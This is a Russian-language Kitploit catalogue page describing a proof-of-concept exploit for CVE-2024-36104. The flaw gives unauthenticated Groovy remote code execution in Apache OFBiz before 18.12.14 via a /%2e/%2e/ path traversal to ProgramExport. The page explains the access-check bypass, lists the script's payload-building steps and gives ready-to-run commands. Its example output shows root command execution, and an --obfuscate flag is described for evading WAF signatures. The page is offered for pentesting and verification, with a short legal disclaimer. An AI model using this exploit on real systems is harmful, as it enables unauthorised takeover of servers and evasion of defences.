Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2024-36104-PoC — PoC для CVE-2024-36104 — неавторизованное удалённое выполнение кода Groovy в Apache OFBiz (<18.12.14) через обход пути представления /%2e/%2e/ к ProgramExport | Kitploit
Инструменты/GitHubGitHub/groppoxx/cve-2024-36104-poc
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеRed Teaming
GitHubgroppoxx/cve-2024-36104-poc

CVE-2024-36104-PoC

PoC для CVE-2024-36104 — неавторизованное удалённое выполнение кода Groovy в Apache OFBiz (<18.12.14) через обход пути представления /%2e/%2e/ к ProgramExport

Репозиторий
321 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2024-36104-PoC

Подтверждение концепции для CVE-2024-36104 — уязвимости удаленного выполнения кода без аутентификации в Apache OFBiz до версии 18.12.14.

ControlServlet в OFBiz обрабатывает неаутентифицированное представление (forgotPassword) до канонизации пути запроса. Добавление /%2e/%2e/ сворачивает путь обратно к /webtools/control/, поэтому запрос достигает представления ProgramExport, минуя проверку безопасности/прав доступа, связанную с исходным представлением. Затем ProgramExport выполняет произвольный Groovy-код, что обеспечивает удаленное выполнение команд без аутентификации.

Скрипт оборачивает команду в Groovy-фрагмент, который запускает её через /usr/bin/bash -lc, отправляет на уязвимую конечную точку и извлекает вывод из исключения java.lang.Exception, которое OFBiz возвращает в HTML-ответе.

Что делает скрипт

  1. Проверяет и нормализует целевой URL.
  2. Строит путь обхода /%2e/%2e/ от forgotPassword к ProgramExport.
  3. Оборачивает команду в Groovy-полезную нагрузку, выполняемую через Bash.
  4. Отправляет полезную нагрузку как groovyProgram на уязвимую конечную точку.
  5. Разбирает HTML-ответ и извлекает вывод команды.
  6. При ошибке разбора или серверной ошибке возвращается к исходному ответу.

Требования

root@kitploit:~
Python 3.8+

pip install -r requirements.txt

Требуемые пакеты Python:

root@kitploit:~
requests
urllib3

Быстрый старт

Значения в угловых скобках — это заполнители. Замените их своими значениями и не включайте символы < или >.

root@kitploit:~
python3 cve_2024_36104.py \
  --target <TARGET_URL> \
  --command <COMMAND>

Заполнители

root@kitploit:~
<TARGET_URL>  # Базовый URL цели. Пример: https://10.129.231.23
<COMMAND>     # Команда, которую интерпретирует Bash. Пример: id

Полный пример

root@kitploit:~
python3 cve_2024_36104.py \
  --target https://10.129.231.23 \
  --command "id"

Пример вывода:

root@kitploit:~
[2026-05-17T18:20:10Z] [*] Target: https://10.129.231.23/webtools/control/forgotPassword/%2e/%2e/ProgramExport
[2026-05-17T18:20:10Z] [*] Host header sent: localhost
[2026-05-17T18:20:10Z] [*] Command: id
[2026-05-17T18:20:11Z] [*] HTTP status: 200
[2026-05-17T18:20:11Z] [*] Response size: 4213 bytes

[+] Output of: id
uid=0(root) gid=0(root) groups=0(root)

Дополнительные флаги

root@kitploit:~
-H, --host-header <HOST>
   Значение заголовка Host. По умолчанию: localhost

--prefix-view <VIEW>
   Неаутентифицированное представление, используемое перед обходом /%2e/%2e/. По умолчанию: forgotPassword

--target-view <VIEW>
   Представление, достигаемое после обхода. По умолчанию: ProgramExport

--endpoint <PATH>
   Полный путь пользовательской конечной точки; переопределяет --prefix-view/--target-view.

--timeout <SECONDS>
   Максимальное время HTTP-запроса. По умолчанию: 15

--obfuscate
   Отправлять groovyProgram в виде \uXXXX-экранирований вместо открытого текста,
   как в публичных описаниях, чтобы обходить простые сигнатуры WAF.

--show-payload
   Вывести сгенерированный Groovy-код перед отправкой.

--show-response
   Вывести полный HTML-ответ.

--only-final
   Скрыть журнал выполнения и вывести только результат команды.

--no-color
   Отключить ANSI-цвета.

--debug
   Включить дополнительную диагностическую регистрацию.

Примечания

  • Затрагивает Apache OFBiz версии до 18.12.14.
  • Не требует аутентификации или взаимодействия с пользователем.
  • Если сервер возвращает 502, вероятно, бэкенд не завершил работу до таймаута прокси; команда всё равно может выполниться на стороне сервера.
  • Используйте --show-response для просмотра исходного HTML, если автоматическое извлечение не сработало.

Правовая информация

Этот PoC предназначен для авторизованного тестирования безопасности, лабораторных сред и проверки уязвимостей. Не используйте его против систем без явного разрешения.

Скачать инструмент